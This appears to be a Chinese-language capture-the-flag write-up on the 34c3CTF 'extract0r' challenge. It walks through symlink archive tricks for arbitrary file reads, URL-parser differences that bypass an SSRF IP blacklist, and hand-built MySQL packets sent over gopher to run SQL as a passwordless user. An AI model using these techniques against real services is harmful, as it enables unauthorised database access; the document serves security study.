您好,登錄后才能下訂單哦!
這篇文章給大家介紹Gopher是怎樣攻擊MySql,內(nèi)容非常詳細(xì),感興趣的小伙伴們可以參考借鑒,希望對(duì)大家能有所幫助。
34c3CTF web中的extract0r。
題中的目是一個(gè)安全解壓服務(wù),用戶輸入zip的url地址,程序?qū)rl進(jìn)行合法性校驗(yàn)后會(huì)下載該zip,然后為用戶創(chuàng)建一個(gè)目錄,把文件解壓進(jìn)去
經(jīng)過(guò)測(cè)試,發(fā)現(xiàn)輸入的域名中不能含有數(shù)字,并且壓縮文件中不能含有目錄,解壓后的目錄不解析php。通過(guò)上傳一個(gè)含有符號(hào)鏈接文件的壓縮包,可以達(dá)到任意文件讀取的效果。
ln -s ../index.php test_link 7za a -t7z -r test.7z test
上傳后訪問(wèn)test_link
得到源代碼
<?php session_start(); url.php function get_directory($new=false) { if (!isset($_SESSION["directory"]) || $new) { $_SESSION["directory"] = "files/" . sha1(random_bytes(100)); } $directory = $_SESSION["directory"]; if (!is_dir($directory)) { mkdir($directory); } return $directory; } function clear_directory() { $dir = get_directory(); $files = glob($dir . '/*'); foreach($files as $file) { if(is_file($file) || is_link($file)) { unlink($file); } else if (is_dir($file)) { rmdir($file); } } } function verify_archive($path) { $res = shell_exec("7z l " . escapeshellarg($path) . " -slt"); $line = strtok($res, "\n"); $file_cnt = 0; $total_size = 0; while ($line !== false) { preg_match("/^Size = ([0-9]+)/", $line, $m); if ($m) { $file_cnt++; $total_size += (int)$m[1]; } $line = strtok( "\n" ); } if ($total_size === 0) { return "Archive's size 0 not supported"; } if ($total_size > 1024*10) { return "Archive's total uncompressed size exceeds 10KB"; } if ($file_cnt === 0) { return "Archive is empty"; } if ($file_cnt > 5) { return "Archive contains more than 5 files"; } return 0; } function verify_extracted($directory) { //遍歷解壓后的目錄下的所有文件 $files = glob($directory . '/*'); $cntr = 0; foreach($files as $file) { if (!is_file($file)) { //如果不是文件就刪除 $cntr++; unlink($file); @rmdir($file); } } return $cntr; } function decompress($s) { $directory = get_directory(true); $archive = tempnam("/tmp/", "archive_"); file_put_contents($archive, $s); $error = verify_archive($archive); if ($error) { unlink($archive); error($error); } shell_exec("7z e ". escapeshellarg($archive) . " -o" . escapeshellarg($directory) . " -y"); unlink($archive); return verify_extracted($directory); } function error($s) { clear_directory(); die("<h3><b>ERROR</b></h3> " . htmlspecialchars($s)); } $msg = ""; if (isset($_GET["url"])) { $page = get_contents($_GET["url"]); if (strlen($page) === 0) { error("0 bytes fetched. Looks like your file is empty."); } else { $deleted_dirs = decompress($page); $msg = "<h4>Done!</h4> Your files were extracted if you provided a valid archive."; if ($deleted_dirs > 0) { $msg .= "<h4>WARNING:</h4> we have deleted some folders from your archive for security reasons with our <a href='cyber_filter'>cyber-enabled filtering system</a>!"; } } } ?>
<?php function in_cidr($cidr, $ip) { list($prefix, $mask) = explode("/", $cidr); return 0 === (((ip2long($ip) ^ ip2long($prefix)) >> (32-$mask)) << (32-$mask)); } function get_port($url_parts) { if (array_key_exists("port", $url_parts)) { return $url_parts["port"]; } else if (array_key_exists("scheme", $url_parts)) { return $url_parts["scheme"] === "https" ? 443 : 80; } else { return 80; } } function clean_parts($parts) { // oranges are not welcome here $blacklisted = "/[ \x08\x09\x0a\x0b\x0c\x0d\x0e:\d]/"; if (array_key_exists("scheme", $parts)) { $parts["scheme"] = preg_replace($blacklisted, "", $parts["scheme"]); } if (array_key_exists("user", $parts)) { $parts["user"] = preg_replace($blacklisted, "", $parts["user"]); } if (array_key_exists("pass", $parts)) { $parts["pass"] = preg_replace($blacklisted, "", $parts["pass"]); } if (array_key_exists("host", $parts)) { $parts["host"] = preg_replace($blacklisted, "", $parts["host"]); } return $parts; } function rebuild_url($parts) { $url = ""; $url .= $parts["scheme"] . "://"; $url .= !empty($parts["user"]) ? $parts["user"] : ""; $url .= !empty($parts["pass"]) ? ":" . $parts["pass"] : ""; $url .= (!empty($parts["user"]) || !empty($parts["pass"])) ? "@" : ""; $url .= $parts["host"]; $url .= !empty($parts["port"]) ? ":" . (int) $parts["port"] : ""; $url .= !empty($parts["path"]) ? "/" . substr($parts["path"], 1) : ""; $url .= !empty($parts["query"]) ? "?" . $parts["query"] : ""; $url .= !empty($parts["fragment"]) ? "#" . $parts["fragment"] : ""; return $url; } function get_contents($url) { $disallowed_cidrs = [ "127.0.0.0/8", "169.254.0.0/16", "0.0.0.0/8", "10.0.0.0/8", "192.168.0.0/16", "14.0.0.0/8", "24.0.0.0/8", "172.16.0.0/12", "191.255.0.0/16", "192.0.0.0/24", "192.88.99.0/24", "255.255.255.255/32", "240.0.0.0/4", "224.0.0.0/4", "203.0.113.0/24", "198.51.100.0/24", "198.18.0.0/15", "192.0.2.0/24", "100.64.0.0/10" ]; for ($i = 0; $i < 5; $i++) { $url_parts = clean_parts(parse_url($url)); if (!$url_parts) { error("Couldn't parse your url!"); } if (!array_key_exists("scheme", $url_parts)) { error("There was no scheme in your url!"); } if (!array_key_exists("host", $url_parts)) { error("There was no host in your url!"); } $port = get_port($url_parts); $host = $url_parts["host"]; $ip = gethostbynamel($host)[0]; if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4|FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)) { error("Couldn't resolve your host '{$host}' or the resolved ip '{$ip}' is blacklisted!"); } foreach ($disallowed_cidrs as $cidr) { if (in_cidr($cidr, $ip)) { error("That IP is in a blacklisted range ({$cidr})!"); } } // all good, rebuild url now $url = rebuild_url($url_parts); $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_MAXREDIRS, 0); curl_setopt($curl, CURLOPT_TIMEOUT, 3); curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3); curl_setopt($curl,CURLOPT_SAFE_UPLOAD,0); curl_setopt($curl, CURLOPT_RESOLVE, array($host . ":" . $port . ":" . $ip)); //加一條緩存,防止dns rebinding curl_setopt($curl, CURLOPT_PORT, $port); $data = curl_exec($curl); if (curl_error($curl)) { error(curl_error($curl)); } $status = curl_getinfo($curl, CURLINFO_HTTP_CODE); if ($status >= 301 and $status <= 308) { $url = curl_getinfo($curl, CURLINFO_REDIRECT_URL); } else { return $data; } } error("More than 5 redirects!"); }
簡(jiǎn)要分析代碼流程
經(jīng)rebirth提醒,可以使用以.開頭的文件來(lái)繞過(guò)verify_extracted
中對(duì)鏈接目錄的檢測(cè)。ln -s / .a
把.a
打包上傳即可。這里是因?yàn)?code>glob($dir . '/*');*遍歷不到以.開頭的文件。故繞過(guò)了對(duì)文件類型的檢測(cè),成功了鏈接到了根目錄。
翻一翻目錄會(huì)發(fā)現(xiàn):/home/extract0r/create_a_backup_of_my_supersecret_flag.sh
這里創(chuàng)建了一個(gè)空密碼的mysql用戶,并且flag就在數(shù)據(jù)庫(kù)中。之前已經(jīng)有利用gopher協(xié)議攻擊redis、fastcgi等的案例。我們可以試著利用gopher攻擊一下mysql。這里有兩個(gè)要點(diǎn)
繞過(guò)ip檢查,實(shí)現(xiàn)ssrf
研究mysql協(xié)議,構(gòu)造payload
通過(guò)代碼邏輯我們可知
url->php parse_url(過(guò)濾ip)->過(guò)濾url各部分(空白字符和數(shù)字)->curl發(fā)送請(qǐng)求
這里可利用parse_url
和libcurl
對(duì)url解析的差異來(lái)繞過(guò)。經(jīng)過(guò)測(cè)試,得出以下結(jié)論(我本地環(huán)境php 7.0.20-2 libcurl/7.52.1
)
完整url: scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment] 這里僅討論url中不含'?'的情況 php parse_url: host: 匹配最后一個(gè)@后面符合格式的host libcurl: host:匹配第一個(gè)@后面符合格式的host 如: http://u:p@a.com:80@b.com/ php解析結(jié)果: schema: http host: b.com user: u pass: p@a.com:80 libcurl解析結(jié)果: schema: http host: a.com user: u pass: p port: 80 后面的@b.com/會(huì)被忽略掉
那么我們可以構(gòu)造出一個(gè)域名,讓php解析出來(lái)的host是a.com,dns解析后ip不在黑名單,這樣就繞過(guò)了黑名單檢查。而libcurl實(shí)際請(qǐng)求時(shí)候是另外一個(gè)域名,這樣我們就可以實(shí)現(xiàn)任意ip請(qǐng)求了。
fuzz一下后得到以下結(jié)果
http://u:p:@a.com:3306@b.com/
http://u:@a.com:3306@b.com/
都可以實(shí)現(xiàn)php解析出來(lái)是b.com 而curl實(shí)際請(qǐng)求a.com:3306
但此題目中php解析url后在clean_parts
中過(guò)濾了空白字符和數(shù)字,所以以上url均不可用。
題目作者給出的url是:gopher://foo@[cafebabe.cf]@yolo.com:3306
剛開始不太理解,后來(lái)@rebirth告訴我在rfc3986是這樣定義url的:
A host identified by an Internet Protocol literal address, version 6 or later, is distinguished by enclosing the IP literal within square brackets ("[" and "]"). This is the only place where square bracket characters are allowed in the URI syntax.
IP-literal = "[" ( IPv6address / IPvFuture ) "]"
也就是說(shuō)[ip]是一種host的形式,libcurl在解析時(shí)候認(rèn)為[]包裹的是host
另外ricter大佬的gopher://foo@localhost:f@ricterz.me:3306/
在題目環(huán)境中是可用的,我本地不可用(題目的libcurl版本比我本地高)
研究的目的是為了構(gòu)造出gopher連接mysql的payload,mysql協(xié)議分為4.0之前和4.0之后兩個(gè)版本,這里僅討論4.0之后的協(xié)議,mysql交互過(guò)程:
MySQL數(shù)據(jù)庫(kù)用戶認(rèn)證采用的是挑戰(zhàn)/應(yīng)答的方式,服務(wù)器生成該挑戰(zhàn)數(shù)(scramble)并發(fā)送給客戶端,客戶端用挑戰(zhàn)數(shù)加密密碼后返回相應(yīng)結(jié)果,然后服務(wù)器檢查是否與預(yù)期的結(jié)果相同,從而完成用戶認(rèn)證的過(guò)程。
登錄時(shí)需要用服務(wù)器發(fā)來(lái)的scramble加密密碼,但是當(dāng)數(shù)據(jù)庫(kù)用戶密碼為空時(shí),加密后的密文也為空。client給server發(fā)的認(rèn)證包就是相對(duì)固定的了。這樣就無(wú)需交互,可以通過(guò)gopher協(xié)議來(lái)發(fā)送。
mysql數(shù)據(jù)包前需要加一個(gè)四字節(jié)的包頭。前三個(gè)字節(jié)代表包的長(zhǎng)度,第四個(gè)字節(jié)代表包序,在一次完整的請(qǐng)求/響應(yīng)交互過(guò)程中,用于保證消息順序的正確,每次客戶端發(fā)起請(qǐng)求時(shí),序號(hào)值都會(huì)從0開始計(jì)算。
具體到抓包數(shù)據(jù)
4C0000//包大小76 小端字節(jié)序 00//序號(hào)0 0A//版本號(hào) 352E372E31382D3100//版本信息字符串,以\0結(jié)尾,內(nèi)容為5.7.18-1 04000000//服務(wù)器線程id 6B69457B3C342E43//scramble前半部分8字節(jié) 00//固定0x00 FFF7//服務(wù)器權(quán)能標(biāo)志低16位 用于與客戶端協(xié)商通訊方式 08//字符集,08代表utf-8 0200//服務(wù)器狀態(tài) FF81//服務(wù)器權(quán)能標(biāo)志高16位 15//挑戰(zhàn)串長(zhǎng)度 00000000000000000000//10字節(jié)0x00 固定填充 3A6A02314D2661447951577F00//scramble后半部分12字節(jié) 以null結(jié)尾 6D7973716C5F6E61746976655F70617373776F726400//密碼加密方式,內(nèi)容為mysql_native_password 對(duì)高版本來(lái)說(shuō)沒什么用 無(wú)視即可
當(dāng)用戶密碼為空時(shí),認(rèn)證包唯一的變量挑戰(zhàn)認(rèn)證數(shù)據(jù)為0x00(NULL),所以認(rèn)證包就是固定的了,不需要根據(jù)server發(fā)來(lái)的初始化包來(lái)計(jì)算了
這里順帶提一下密碼的算法為
hash2 = SHA1(password) //password是用戶輸入的密碼 result = hash2 ^ sha1(scramble+sha1(hash2))
命令報(bào)文相當(dāng)簡(jiǎn)單
第一個(gè)字節(jié)表示當(dāng)前命令的類型,比如0x02(切換數(shù)據(jù)庫(kù)),0x03(SQL查詢)后面的參數(shù)就是要執(zhí)行的sql語(yǔ)句了。
經(jīng)過(guò)分析,執(zhí)行一句sql語(yǔ)句時(shí),發(fā)送了兩個(gè)packet(認(rèn)證packet、命令packet) ,那么我們把兩個(gè)packet一起發(fā)給server端,server就會(huì)響應(yīng)給我們結(jié)果。 packet的構(gòu)造參見上文協(xié)議格式,需要注意的是mysql協(xié)議是小端字節(jié)序。
這里我用socket做一個(gè)簡(jiǎn)單的測(cè)試,使用的是無(wú)密碼用戶,發(fā)送的sql語(yǔ)句是select now();
那么在php下,使用libcurl請(qǐng)求也是一樣的
php的payload最后加了四個(gè)空字節(jié),這是為了讓server端解析第三個(gè)數(shù)據(jù)包時(shí)出錯(cuò),斷開與我們的連接。盡快返回?cái)?shù)據(jù),題目中curl的超時(shí)時(shí)間是3s
至此,我們完成了從gopher到sql執(zhí)行。反觀題目,這里需要curl得到的響應(yīng)是可以被解壓的。所以我們需要想辦法把查出來(lái)的數(shù)據(jù)構(gòu)造成壓縮文件格式。
zip壓縮算法壓縮出來(lái)的文件一般包括四部分。
1.local file head 2.壓縮后的Deflate數(shù)據(jù) 3.central directory file head 4.end of central directory record
經(jīng)過(guò)測(cè)試,7z是可以成功解壓一個(gè)格式合法的壓縮文件的,即使是文件CRC錯(cuò)誤,部分字段異常。
那么思路就來(lái)了,利用sql語(yǔ)句構(gòu)造查詢出zip的頭和尾部,把我們想要的數(shù)據(jù)concat到中間的Deflate部分即可。(7z解壓時(shí)候發(fā)現(xiàn)部分header異常,Deflate部分的數(shù)據(jù)會(huì)不經(jīng)解壓直接寫入到解壓后的文件)
形如 select concat(zip_header,(the sql we want to execute), zip_eof)
針對(duì)zip具體的構(gòu)造,不在贅述,參見zip算法詳解
這里我寫了一個(gè)函數(shù)幫助我們創(chuàng)建
from struct import * def create_zip(filename, content_size): content = '-'*content_size filename = pack('<%ds'%len(filename), filename) content_len_b = pack('<I', len(content)) filename_len_b = pack('<H', len(filename)) local_file_header = b"\x50\x4b\x03\x04\x0a\x00"+"\x00"*12 local_file_header += content_len_b*2 local_file_header += filename_len_b local_file_header += "\x00\x00" local_file_header += filename cd_file_header = b"\x50\x4b\x01\x02\x1e\x03\x0a\x00"+"\x00"*12+filename_len_b+"\x00"*16+filename cd_file_header_len_b = pack("<I", len(cd_file_header)) offset = pack("<I",len(local_file_header+cd_file_header)) eof_record = b"\x50\x4b\x05\x06"+"\x00"*4+"\x01\x00"*2+cd_file_header_len_b+offset+"\x00\x00" #return each party of zip return [local_file_header,content,cd_file_header+eof_record]
需要注意的是,zip的Deflate部分是保存文件壓縮后的內(nèi)容,zip格式又要求必須給出Deflate部分的大小。這里我們只需把查出數(shù)據(jù)保存在Deflate部分,并且根據(jù)查詢結(jié)果的預(yù)期大小來(lái)指定Deflate部分的尺寸。
比如查詢select version()
時(shí)候Deflate大小20就夠了。 這里給出一個(gè)sql大家可以自行測(cè)試
select concat(cast(0x504b03040a00000000000000000000000000e8030000e803000010000000746869735f69735f7468655f666c6167 as binary), rpad((select now()), 1000, '-'), cast(0x504b01021e030a00000000000000000000000000100000000000000000000000000000000000746869735f69735f7468655f666c6167504b0506000000000100010036000000640000000000 as binary)) into dumpfile '/tmp/test.zip';
這里的1000就是Deflate數(shù)據(jù)部分占用大小。 至此我們也就完成了sql語(yǔ)句的構(gòu)造,可以通過(guò)sql查出一個(gè)壓縮包格式的數(shù)據(jù)。并且解壓后的文件內(nèi)容就是查詢結(jié)果。
那么梳理一下,先是通過(guò)符號(hào)鏈接,得到了一個(gè)沒有密碼的數(shù)據(jù)庫(kù)用戶。又通過(guò)parse_url
和libcurl
的解析差異,繞過(guò)了對(duì)ip的合法性校驗(yàn),從而可以實(shí)現(xiàn)ssrf任意ip。又通過(guò)分析mysql協(xié)議,發(fā)現(xiàn)空密碼用戶可以直接構(gòu)造出packet執(zhí)行sql語(yǔ)句。最終我們只需要輸入gopher://foo@[cafebabe.cf]@yolo.com:3306/_+(發(fā)送給mysql的packet)+(四個(gè)空字節(jié))
就可以得到結(jié)果。
為了方便,我寫了一個(gè)簡(jiǎn)單的mysql client,測(cè)試與mysql 的通信并生成payload。
輸入后:
有興趣的可以連接自己的mysql,dump出packet
關(guān)于Gopher是怎樣攻擊MySql就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,可以學(xué)到更多知識(shí)。如果覺得文章不錯(cuò),可以把它分享出去讓更多的人看到。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。